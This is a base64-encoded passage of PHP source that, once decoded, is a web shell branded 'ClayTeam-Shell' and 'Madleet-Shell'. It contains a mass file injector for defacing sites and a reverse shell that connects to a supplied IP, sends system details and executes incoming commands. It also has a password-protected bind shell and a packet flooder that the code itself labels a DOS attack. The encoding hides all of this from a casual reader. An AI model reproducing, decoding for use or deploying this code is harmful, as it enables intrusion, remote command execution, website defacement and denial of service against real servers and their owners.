CAgPHRkPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImZpbGUiIGNsYXNzPSJvd24iIHZhbHVlPSJVcGxvYWQiLz48L3RkPiANCiAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICA8L3RyPiANCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIyIj4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9J2NtZCcgc3R5bGU9IndpZHRoOiAyODBweDsiIG5hbWU9J3BhdGgnIHZhbHVlPSI8P3BocCBlY2hvIGdldGN3ZCgpOyA/PiIgLz4gICAgDQogICAgICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgIDwvdHI+IA0KICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICA8L2Zvcm0+IA0KICAgICAgICAgICAgPC90YWJsZT4gDQogICAgICAgICA8L3RkPiANCiAgICA8L3RyPiANCiAgICA8L3RhYmxlPiANCjw/cGhwIA0KICAgIH0gDQoNCn0gDQoNCi8vIENvZGUgSW5qZWN0b3IgDQoNCmVsc2UgaWYoaXNzZXQoJF9HRVRbJ2luamVjdG9yJ10pKSANCnsgDQogICAgaWYoaXNzZXQoJF9HRVRbJ2RpciddKSAmJiANCiAgICAkX0dFVFsnZGlyJ10gIT0gJycgJiYgDQogICAgaXNzZXQoJF9HRVRbJ2ZpbGV0eXBlJ10pICYmIA0KICAgICRfR0VUWydmaWxldHlwZSddICE9ICcnICYmIA0KICAgIGlzc2V0KCRfR0VUWydtb2RlJ10pICYmIA0KICAgICRfR0VUWydtb2RlJ10gIT0gJycgJiYgIA0KICAgIGlzc2V0KCRfR0VUWydtZXNzYWdlJ10pICYmIA0KICAgICRfR0VUWydtZXNzYWdlJ10gIT0gJycgIA0KICAgICkgDQogICAgeyANCiAgICAgICAgJGRpciA9ICRfR0VUWydkaXInXTsgDQogICAgICAgICRmaWxldHlwZSA9ICRfR0VUWydmaWxldHlwZSddOyANCiAgICAgICAgJG1lc3NhZ2UgPSAkX0dFVFsnbWVzc2FnZSddOyANCiAgICAgICAgIA0KICAgICAgICAkbW9kZSA9ICJhIjsgLy9kZWZhdWx0IG1vZGUgDQogICAgICAgICANCiAgICAgICAgIA0KICAgICAgICAvLyBNb2RlcyBCZWdpbiANCiAgICAgICAgIA0KICAgICAgICBpZigkX0dFVFsnbW9kZSddID09ICdBcGVuZGVyJykgDQogICAgICAgIHsgDQogICAgICAgICAgICAkbW9kZSA9ICJhIjsgDQogICAgICAgIH0gDQogICAgICAgIGlmKCRfR0VUWydtb2RlJ10gPT0gJ092ZXJ3cml0ZXInKSANCiAgICAgICAgeyANCiAgICAgICAgICAgICRtb2RlID0gInciOyANCiAgICAgICAgfSANCiAgICAgICAgIA0KICAgICAgICBpZigkaGFuZGxlID0gb3BlbmRpcigkZGlyKSkgDQogICAgICAgIHsgDQogICAgICAgICAgICA/PiANCiAgICAgICAgICAgIE92ZXJ3cml0dGVuIEZpbGVzIDotIA0KICAgICAgICAgICAgPHVsIHN0eWxlPSJwYWRkaW5nOiAxMHB4OyIgPiANCiAgICAgICAgICAgIDw/cGhwIA0KICAgICAgICAgICAgd2hpbGUoKCRmaWxlID0gcmVhZGRpcigkaGFuZGxlKSkgIT09IEZhbHNlKSANCiAgICAgICAgICAgIHsgDQogICAgICAgICAgICAgICAgaWYoKHByZWdfbWF0Y2goIi8kZmlsZXR5cGUiLickJy4nLycsICRmaWxlICwgJG1hdGNoZXMpICE9IDApICYmIChwcmVnX21hdGNoKCcvJy4kZmlsZS4nJC8nLCAkc2VsZiAsICRtYXRjaGVzKSAhPSAxKSkgDQogICAgICAgICAgICAgICAgeyANCiAgICAgICAgICAgICAgICAgICAgPz4gDQogICAgICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9ImZpbGUiPjxhIGhyZWY9Ijw/cGhwIGVjaG8gIiRzZWxmP29wZW49JGRpciRmaWxlIj8+Ij48P3BocCBlY2hvICRmaWxlOyA/PjwvYT48L2xpPiANCiAgICAgICAgICAgICAgICAgICAgPD9waHAgDQogICAgICAgICAgICAgICAgICAgIGVjaG8gIlxuIjsgDQogICAgICAgICAgICAgICAgICAgICRmZCA9IGZvcGVuKCRkaXIuJGZpbGUsJG1vZGUpOyANCiAgICAgICAgICAgICAgICAgICAgZndyaXRlKCRmZCwkbWVzc2FnZSk7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgPz4gDQogICAgICAgICAgICA8L3VsPiANCiAgICAgICAgICAgIDw/cGhwIA0KICAgICAgICB9IA0KICAgIH0gDQogICAgZWxzZSANCiAgICB7IA0KICAgICAgICA/PiANCiAgICAgICAgPHRhYmxlIGlkPSJtYXJnaW5zIiA+IA0KICAgICAgICA8dHI+IA0KICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSdHRVQnPiANCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImluamVjdG9yIi8+ICAgDQogICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMDAiIGNsYXNzPSJ0aXRsZSI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgRGlyZWN0b3J5IA0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICAgICAgPHRkPiANCiAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImNtZCIgbmFtZT0iZGlyIiB2YWx1ZT0iPD9waHAgZWNobyBnZXRjd2QoKS4kU0VQQVJBVE9SOyA/PiIgLz4gDQogICAgICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgIDwvdHI+IA0KICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IA0KICAgICAgICAgICAgICAgICAgICBNb2RlIA0KICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgIDx0ZD4gDQogICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IHN0eWxlPSJ3aWR0aDogNDAwcHg7IiBuYW1lPSJtb2RlIiBjbGFzcz0iY21kIj4gDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iQXBlbmRlciI+QXBlbmRlcjwvb3B0aW9uPiANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJPdmVyd3JpdGVyIj5PdmVyd3JpdGVyPC9vcHRpb24+IA0KICAgICAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+IA0KICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgIDwvdHI+IA0KICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPiANCiAgICAgICAgICAgICAgICAgICAgICAgIEZpbGUgVHlwZSANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgICAgIDx0ZD4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImNtZCIgbmFtZT0iZmlsZXR5cGUiIHZhbHVlPSIucGhwIiBvbmJsdXI9ImlmKHRoaXMudmFsdWU9PScnKXRoaXMudmFsdWU9Jy5waHAnOyIgLz4gDQogICAgICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgIDwvdHI+IA0KICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjIiPiANCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJtZXNzYWdlIiBjb2xzPSIxNzMiIHJvd3M9IjEwIiBjbGFzcz0iY21kIj5BbGwgaSByZW1lbWJlciBhcmUgdGhvc2UgbG9uZWx5IG5pZ2h0cyB3aGVuIGkgd2FzIGRlZmFjaW5nIHRob3NlIGluc2VjdXJlIHdlYnNpdGVzITwvdGV4dGFyZWE+IA0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICA8L3RyPiANCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgIDx0ZCByb3dzcGFuPSIyIj4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgc3R5bGU9Im1hcmdpbiA6IDIwcHg7IG1hcmdpbi1sZWZ0OiAzOTBweDsgcGFkZGluZyA6IDEwcHg7IHdpZHRoOiAxMDBweDsiIHR5cGU9InN1Ym1pdCIgY2xhc3M9Im93biIgdmFsdWU9IkluamVjdCA6RCIvPiANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgPC90cj4gDQogICAgICAgIDwvZm9ybT4gDQogICAgICAgIDwvdGFibGU+IA0KICAgICAgICA8P3BocCANCiAgICB9IA0KfSANCi8vIENvbm5lY3QgDQoNCmVsc2UgaWYoaXNzZXQoJF9HRVRbJ2Nvbm5lY3QnXSkpIA0KeyANCiAgICBpZihpc3NldCgkX1BPU1RbJ2lwJ10pICYmIA0KICAgICBpc3NldCgkX1BPU1RbJ3BvcnQnXSkgJiYgIA0KICAgICAgICAkX1BPU1RbJ2lwJ10gIT0gIiIgJiYgDQogICAgICAgICRfUE9TVFsncG9ydCddICE9ICIiIA0KICAgICApIA0KICAgIHsgDQogICAgICAgIGVjaG8gIjxwPlRoZSBQcm9ncmFtIGlzIG5vdyB0cnlpbmcgdG8gY29ubmVjdCE8L3A+IjsgDQogICAgICAgICRpcCA9ICRfUE9TVFsnaXAnXTsgIA0KICAgICAgICAkcG9ydD0kX1BPU1RbJ3BvcnQnXTsgIA0KICAgICAgICAkc29ja2ZkPWZzb2Nrb3BlbigkaXAgLCAkcG9ydCAsICRlcnJubywgJGVycnN0ciApOyAgDQogICAgICAgIGlmKCRlcnJubyAhPSAwKSANCiAgICAgICAgeyANCiAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPSdyZWQnPjxiPiRlcnJubzwvYj4gOiAkZXJyc3RyPC9mb250PiI7IA0KICAgICAgICB9IA0KICAgICAgICBlbHNlIGlmICghJHNvY2tmZCkgDQogICAgICAgIHsgIA0KICAgICAgICAgICAgICAgJHJlc3VsdCA9ICI8cD5GYXRhbCA6IEFuIHVuZXhwZWN0ZWQgZXJyb3Igd2FzIG9jY3VyZWQgd2hlbiB0cnlpbmcgdG8gY29ubmVjdCE8L3A+IjsgDQogICAgICAgIH0gIA0KICAgICAgICBlbHNlIA0KICAgICAgICB7ICANCiAgICAgICAgICAgIGZwdXRzICgkc29ja2ZkICwiXG49PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxuQ2xheVRlYW0tU2hlbGwgfCBDMGQzZCBieSBXaG9BbWkgfCBUdW5pc2lhXG49PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIpOyANCiAgICAgICAgICRwd2QgPSBleGVjX2FsbCgicHdkIik7IA0KICAgICAgICAgJHN5c2luZm8gPSBleGVjX2FsbCgidW5hbWUgLWEiKTsgDQogICAgICAgICAkaWQgPSBleGVjX2FsbCgiaWQiKTsgDQogICAgICAgICAkZGF0ZUFuZFRpbWUgPSBleGVjX2FsbCgidGltZSAvdCAmIGRhdGUgL1QiKTsgDQogICAgICAgICAkbGVuID0gMTMzNzsgDQogICAgICAgICBmcHV0cygkc29ja2ZkICwkc3lzaW5mbyAuICJcbiIgKTsgDQogICAgICAgICBmcHV0cygkc29ja2ZkICwkcHdkIC4gIlxuIiApOyANCiAgICAgICAgIGZwdXRzKCRzb2NrZmQgLCRpZCAuIlxuXG4iICk7IA0KICAgICAgICAgZnB1dHMoJHNvY2tmZCAsJGRhdGVBbmRUaW1lLiJcblxuIiApOyANCiAgICAgICAgIHdoaWxlKCFmZW9mKCRzb2NrZmQpKSANCiAgICAgICAgIHsgICANCiAgICAgICAgICAgICRjbWRQcm9tcHQgPSIoQ2xheVRlYU0tU2hlbGwpWyRdPiAiOyANCiAgICAgICAgICAgIGZwdXRzICgkc29ja2ZkICwgJGNtZFByb21wdCApOyAgDQogICAgICAgICAgICAkY29tbWFuZD0gZmdldHMoJHNvY2tmZCwgJGxlbik7IA0KICAgICAgICAgICAgZnB1dHMoJHNvY2tmZCAsICJcbiIgLiBleGVjX2FsbCgkY29tbWFuZCkgLiAiXG5cbiIpOyANCiAgICAgICAgfSAgDQogICAgICAgIGZjbG9zZSgkc29ja2ZkKTsgIA0KICAgICAgICB9ICANCiAgICB9IA0KICAgIGVsc2UgaWYoIA0KICAgIGlzc2V0KCRfUE9TVFsncG9ydCddKSAmJiANCiAgICBpc3NldCgkX1BPU1RbJ3Bhc3N3ZCddKSAmJiAgDQogICAgJF9QT1NUWydwb3J0J10gIT0gIiIgJiYgDQogICAgJF9QT1NUWydwYXNzd2QnXSAhPSAiIiAgKSANCiAgICB7IA0KICAgICAgICAvLyBTZXQgdGltZSBsaW1pdCB0byBpbmRlZmluaXRlIGV4ZWN1dGlvbiANCiAgICAgICAgc2V0X3RpbWVfbGltaXQgKDApOyANCiAgICAgICAgIA0KICAgICAgICAgDQogICAgICAgIC8vIFNldCB0aGUgaXAgYW5kIHBvcnQgd2Ugd2lsbCBsaXN0ZW4gb24gDQogICAgICAgICRhZGRyZXNzID0gJzEyNy4wLjAuMSc7IA0KICAgICAgICAkcG9ydCA9ICRfUE9TVFsncG9ydCddOyANCiAgICAgICAgJHBhc3MgPSAkX1BPU1RbJ3Bhc3N3ZCddOyANCg0KICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoInNvY2tldF9jcmVhdGUiKSkgDQogICAgICAgIHsgDQogICAgICAgIC8vIENyZWF0ZSBhIFRDUCBTdHJlYW0gc29ja2V0IA0KICAgICAgICAkc29ja2ZkID0gc29ja2V0X2NyZWF0ZShBRl9JTkVULCBTT0NLX1NUUkVBTSwgU09MX1RDUCk7IA0KDQogICAgICAgDQogICAgICAgIC8vIEJpbmQgdGhlIHNvY2tldCB0byBhbiBhZGRyZXNzL3BvcnQgDQogICAgICAgICANCiAgICAgICAgIA0KICAgICAgICBpZihzb2NrZXRfYmluZCgkc29ja2ZkLCAkYWRkcmVzcywgJHBvcnQpID09IEZBTFNFKSANCiAgICAgICAgeyANCiAgICAgICAgICAgIGVjaG8gIkNhbnQgQmluZCB0byB0aGUgc3BlY2lmaWVkIHBvcnQgYW5kIGFkZHJlc3MhIjsgDQogICAgICAgIH0gDQogICAgICAgIC8vIFN0YXJ0IGxpc3RlbmluZyBmb3IgY29ubmVjdGlvbnMgDQogICAgICAgIHNvY2tldF9saXN0ZW4oJHNvY2tmZCwxNSk7IA0KICAgICAgICAgDQogICAgIA0KICAgICAgICAkcGFzc3dvcmRQcm9tcHQgPSAiXG49PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxuQ2xheVRlYW0tU2hlbGwgfCBDMGQzZCBieSBXaG9BbWkgfCBUdW5pc2lhXG49PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxuXG4weFBhc3N3b3JkIDogIjsgDQogICAgICAgICANCiAgICAgICAgLyogQWNjZXB0IGluY29taW5nIHJlcXVlc3RzIGFuZCBoYW5kbGUgdGhlbSBhcyBjaGlsZCBwcm9jZXNzZXMgKi8gDQogICAgICAgICRjbGllbnQgPSBzb2NrZXRfYWNjZXB0KCRzb2NrZmQpOyANCiAgICAgICAgIA0KDQogICAgICAgIHNvY2tldF93cml0ZSgkY2xpZW50ICwgJHBhc3N3b3JkUHJvbXB0KTsgDQogICAgICAgIC8vIFJlYWQgdGhlIHBhc3MgZnJvbSB0aGUgY2xpZW50IA0KICAgICAgICAkaW5wdXQgPSBzb2NrZXRfcmVhZCgkY2xpZW50LCBzdHJsZW4oJHBhc3MpICsgMik7IC8vICsyIGZvciBcclxuIA0KICAgICAgICBpZih0cmltKCRpbnB1dCkgPT0gJHBhc3MpIA0KICAgICAgICB7IA0KICAgICAgICAgICAgc29ja2V0X3dyaXRlKCRjbGllbnQgLCAiXG5cbiIpOyANCiAgICAgICAgICAgIHNvY2tldF93cml0ZSgkY2xpZW50ICwgKCRvcyA9PSAiV2luZG93cyIpID8gZXhlY19hbGwoImRhdGUgL3QgJiB0aW1lIC90IikgIC4gIlxuIiAuIGV4ZWNfYWxsKCJ2ZXIiKSA6IGV4ZWNfYWxsKCJkYXRlIikgLiAiXG4iIC4gZXhlY19hbGwoInVuYW1lIC1hIikpOyANCiAgICAgICAgICAgIHNvY2tldF93cml0ZSgkY2xpZW50ICwgIlxuXG4iKTsgDQogICAgICAgICAgICB3aGlsZSgxKSANCiAgICAgICAgICAgIHsgDQogICAgICAgICAgICAgICAgLy8gUHJpbnQgQ29tbWFuZCBwcm9tcHQgDQogICAgICAgICAgICAgICAgJGNvbW1hbmRQcm9tcHQgPSIoTWFkbGVldC1TaGVsbClbJF0+ICI7IA0KICAgICAgICAgICAgICAgICRtYXhDbWRMZW4gPSAzMTMzNzsgDQogICAgICAgICAgICAgICAgc29ja2V0X3dyaXRlKCRjbGllbnQsJGNvbW1hbmRQcm9tcHQpOyANCiAgICAgICAgICAgICAgICAkY21kID0gc29ja2V0X3JlYWQoJGNsaWVudCwkbWF4Q21kTGVuKTsgDQogICAgICAgICAgICAgICAgaWYoJGNtZCA9PSBGQUxTRSkgDQogICAgICAgICAgICAgICAgeyANCiAgICAgICAgICAgICAgICAgICAgZWNobyAiVGhlIGNsaWVudCBDbG9zZWQgdGhlIGNvbmVjdGlvbiEiOyANCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgc29ja2V0X3dyaXRlKCRjbGllbnQgLCBleGVjX2FsbCgkY21kKSk7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSANCiAgICAgICAgZWxzZSANCiAgICAgICAgeyANCiAgICAgICAgICAgIGVjaG8gIldyb25nIFBhc3N3b3JkISI7IA0KICAgICAgICAgICAgc29ja2V0X3dyaXRlKCRjbGllbnQsICJzVSh8PCAtIDBGRiBCaXRjaCFcblxuIik7IA0KICAgICAgICB9IA0KICAgICAgICBzb2NrZXRfc2h1dGRvd24oJGNsaWVudCwgMik7IA0KICAgICAgICBzb2NrZXRfY2xvc2UoJHNvY2tldCk7IA0KICAgICAgICAgDQogICAgICAgIC8vIENsb3NlIHRoZSBjbGllbnQgKGNoaWxkKSBzb2NrZXQgDQogICAgICAgIC8vc29ja2V0X2Nsb3NlKCRjbGllbnQpOyANCiAgICAgICAgLy8gQ2xvc2UgdGhlIG1hc3RlciBzb2NrZXRzIA0KICAgICAgICAvL3NvY2tldF9jbG9zZSgkc29jayk7IA0KICAgICAgICB9IA0KICAgICAgICBlbHNlIA0KICAgICAgICB7IA0KICAgICAgICAgICAgZWNobyAiU29ja2V0IENvbmVjdGlvbnMgbm90IEFsbG93ZWQvU3VwcG9ydGVkIGJ5IHRoZSBzZXJ2ZXIhIDxiciAvPiI7IA0KICAgICAgICB9IA0KICAgIH0gDQogICAgZWxzZSANCiAgICB7IA0KICAgID8+ICAgICAgICANCiAgICA8dGFibGUgY2xhc3M9ImJpbmQiIGFsaWduPSJjZW50ZXIiID4gDQogICAgPHRyPiANCiAgICAgICAgPHRoIGNsYXNzPSJoZWFkZXIiIGNvbHNwYW49IjEiIHdpZHRoPSI1MHB4Ij5CYWNrIENvbm5lY3Q8L3RoPiANCiAgICAgICAgPHRoIGNsYXNzPSJoZWFkZXIiIGNvbHNwYW49IjEiIHdpZHRoPSI1MHB4Ij5CaW5kIFNoZWxsPC90aD4gDQogICAgPC90cj4gDQogICAgPHRyPiANCiAgICAgICAgPGZvcm0gbWV0aG9kPSdQT1NUJyA+ICAgDQogICAgICAgICA8dGQ+IA0KICAgICAgICAgICAgPHRhYmxlIHN0eWxlPSJib3JkZXItc3BhY2luZzogNnB4OyI+IA0KICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgIDx0ZD5JUCA8L3RkPiANCiAgICAgICAgICAgICAgICAgICAgPHRkPiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBzdHlsZT0id2lkdGg6IDIwMHB4OyIgY2xhc3M9ImNtZCIgbmFtZT0iaXAiIHZhbHVlPSI8P3BocCBnZXRDbGllbnRJcCgpOz8+IiAvPiANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgPC90cj4gDQogICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAgICAgPHRkPlBvcnQgPC90ZD4gDQogICAgICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgc3R5bGU9IndpZHRoOiAxMDBweDsiIGNsYXNzPSJjbWQiIG5hbWU9InBvcnQiIHNpemU9JzUnIHZhbHVlPSIzMTMzNyIvPiZuYnNwOyZuYnNwOzxpbnB1dCBzdHlsZT0id2lkdGg6IDkwcHg7IiBjbGFzcz0ib3duIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0ISIvPjwvdGQ+IA0KICAgICAgICAgICAgICAgIDwvdHI+IA0KICAgICAgICAgICAgPC90YWJsZT4gDQogICAgICAgICA8L3RkPiANCiAgICAgICAgIDwvZm9ybT4gIA0KICAgICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIj4gDQogICAgICAgICA8dGQ+IA0KICAgICAgICAgICAgPHRhYmxlIHN0eWxlPSJib3JkZXItc3BhY2luZzogNnB4OyI+IA0KICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgIDx0ZD5Qb3J0PC90ZD4gDQogICAgICAgICAgICAgICAgICAgIDx0ZD4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgc3R5bGU9IndpZHRoOiAyMDBweDsiIGNsYXNzPSJjbWQiIG5hbWU9InBvcnQiIHZhbHVlPSIxMzM3IiAvPiANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgPC90cj4gDQogICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAgICAgPHRkPlBhc3N3ZCA8L3RkPiANCiAgICAgICAgICAgICAgICAgICAgPHRkPjxpbnB1dCBzdHlsZT0id2lkdGg6IDEwMHB4OyIgY2xhc3M9ImNtZCIgbmFtZT0icGFzc3dkIiBzaXplPSc1JyB2YWx1ZT0iTWFkbGVldCIvPiZuYnNwOyZuYnNwOzxpbnB1dCBzdHlsZT0id2lkdGg6IDkwcHg7IiBjbGFzcz0ib3duIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCaW5kIDpEISIvPjwvdGQ+IA0KICAgICAgICAgICAgICAgIDwvdHI+IA0KICAgICAgICAgICAgPC90YWJsZT4gDQogICAgICAgICA8L3RkPiANCiAgICAgICAgIDwvZm9ybT4gDQogICAgPC90cj4gDQogICAgPC90YWJsZT4gDQogICAgPHAgYWxpZ249ImNlbnRlciIgc3R5bGU9ImNvbG9yOiByZWQ7IiA+Tm90ZSA6IEFmdGVyIGNsaWNraW5nIFN1Ym1pdCBidXR0b24gLCBUaGUgYnJvd3NlciB3aWxsIHN0YXJ0IGxvYWRpbmcgY29udGludW91c2x5ICwgRG9udCBjbG9zZSB0aGlzIHdpbmRvdyAsIFVubGVzcyB5b3UgYXJlIGRvbmUhPC9wPiANCjw/cGhwIA0KICAgIH0gDQp9IA0KDQovL2Z1enplciANCg0KZWxzZSBpZihpc3NldCgkX0dFVFsnZnV6eiddKSkgDQp7IA0KICAgIGlmKGlzc2V0KCRfR0VUWydpcCddKSAmJiANCiAgICBpc3NldCgkX0dFVFsncG9ydCddKSAmJiANCiAgICBpc3NldCgkX0dFVFsndGltZXMnXSkgJiYgDQogICAgaXNzZXQoJF9HRVRbJ3RpbWUnXSkgJiYgDQogICAgaXNzZXQoJF9HRVRbJ21lc3NhZ2UnXSkgJiYgDQogICAgaXNzZXQoJF9HRVRbJ21lc3NhZ2VNdWx0aXBsaWVyJ10pICYmIA0KICAgICRfR0VUWydtZXNzYWdlJ10gIT0gIiIgJiYgDQogICAgJF9HRVRbJ3RpbWUnXSAhPSAiIiAmJiANCiAgICAkX0dFVFsndGltZXMnXSAhPSAiIiAmJiANCiAgICAkX0dFVFsncG9ydCddICE9ICIiICYmIA0KICAgICRfR0VUWydpcCddICE9ICIiICYmIA0KICAgICRfR0VUWydtZXNzYWdlTXVsdGlwbGllciddICE9ICIiIA0KICAgICkgDQogICAgeyANCiAgICAgICAkSVA9JF9HRVRbJ2lwJ107IA0KICAgICAgICRwb3J0PSRfR0VUWydwb3J0J107IA0KICAgICAgICR0aW1lcyA9ICRfR0VUWyd0aW1lcyddOyANCiAgICAgICAkdGltZW91dCA9ICRfR0VUWyd0aW1lJ107IA0KICAgICAgICRzZW5kID0gMDsgDQogICAgICAgJGVuZGluZyA9ICIiOyANCiAgICAgICAkbXVsdGlwbGllciA9ICRfR0VUWydtZXNzYWdlTXVsdGlwbGllciddOyANCiAgICAgICAkZGF0YSA9ICIiOyANCiAgICAgICAkbW9kZT0idGNwIjsgDQogICAgICAgJGRhdGEgLj0gIkdFVCAvIjsgDQogICAgICAgJGVuZGluZyAuPSAiIEhUVFAvMS4xXG5cclxuXHJcblxyXG5cciI7IA0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICJ0Y3AiKSANCiAgICAgICAgeyANCiAgICAgICAgICAgICRtb2RlID0gInRjcCI7IA0KICAgICAgICB9IA0KICAgICAgICB3aGlsZSgkbXVsdGlwbGllci0tKSANCiAgICAgICAgeyANCiAgICAgICAgICAgICRkYXRhIC49IHVybGVuY29kZSgkX0dFVFsnbWVzc2FnZSddKTsgDQogICAgICAgIH0gDQogICAgICAgICRkYXRhIC49ICIlcyVzJXMlcyVkJXglYyVuJW4lbiVuIjsvLyBhZGQgc29tZSBmb3JtYXQgc3RyaW5nIHNwZWNpZmllcnMgDQogICAgICAgICRkYXRhIC49ICJieS1NYWRsZWV0LXNoZWxsIi4kZW5kaW5nOyANCiAgICAgICAgJGxlbmd0aCA9IHN0cmxlbigkZGF0YSk7IA0KICAgICAgICAgDQogICAgICAgICANCiAgICAgICBlY2hvICJTZW5kaW5nIERhdGEgOi0gPGJyIC8+IDxwIGFsaWduPSdjZW50ZXInPiRkYXRhPC9wPiI7IA0KICAgICAgICAgDQogICAgICAgcHJpbnQgIkkgYW0gYXQgbWEgV29yayBub3cgOkQgO0QhIERvbnQgY2xvc2UgdGhpcyB3aW5kb3cgdW50aWxsIHlvdSByZWNpZXZlIGEgbWVzc2FnZSA8YnI+IjsgDQogICAgICAgZm9yKCRpPTA7JGk8JHRpbWVzOyRpKyspIA0KICAgICAgIHsgDQogICAgICAgICAgICAkc29ja2V0ID0gZnNvY2tvcGVuKCIkbW9kZTovLyRJUCIsICRwb3J0LCAkZXJyb3IsICRlcnJvclN0cmluZywgJHRpbWVvdXQpOyANCiAgICAgICAgICAgIGlmKCRzb2NrZXQpIA0KICAgICAgICAgICAgeyANCiAgICAgICAgICAgICAgICBmd3JpdGUoJHNvY2tldCAsICRkYXRhICwgJGxlbmd0aCApOyANCiAgICAgICAgICAgICAgICBmY2xvc2UoJHNvY2tldCk7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSANCiAgICAgICAgZWNobyAiPHNjcmlwdD5hbGVydCgnRnV6emluZyBDb21wbGV0ZWQhJyk7PC9zY3JpcHQ+IjsgDQogICAgICAgIGVjaG8gIkRPUyBhdHRhY2sgYWdhaW5zdCAkbW9kZTovLyRJUDokcG9ydCBjb21wbGV0ZWQgb24gIi5kYXRlKCJoOmk6cyBBIikuIjxiciAvPiI7IA0KICAgICAgICBlY2hvICJUb3RhbCBOdW1iZXIgb2YgUGFja2V0cyBTZW50IDogIiAuICR0aW1lcyAuICI8YnIgLz4iOyANCiAgICAgICAgZWNobyAiVG90YWwgRGF0YSBTZW50ID0gIi4gSHVtYW5SZWFkYWJsZUZpbGVzaXplKCR0aW1lcyokbGVuZ3RoKSAuICI8YnIgLz4iOyAgDQogICAgICAgIGVjaG8gIkRhdGEgcGVyIHBhY2tldCA9ICIgLiBIdW1hblJlYWRhYmxlRmlsZXNpemUoJGxlbmd0aCkgLiAiPGJyIC8+IjsgDQogICAgfSANCiAgICBlbHNlIA0KICAgIHsgDQogICAgICAgID8+IA0KICAgICAgICA8Zm9ybSBtZXRob2Q9IkdFVCI+IA0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZnV6eiIgLz4gDQogICAgICAgICAgICA8dGFibGUgaWQ9Im1hcmdpbnMiPiANCiAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQwMCIgY2xhc3M9InRpdGxlIj4gDQogICAgICAgICAgICAgICAgICAgICAgICBJUCANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgICAgIDx0ZD4gDQogICAgICAgICAgICAgICAgICAgICAg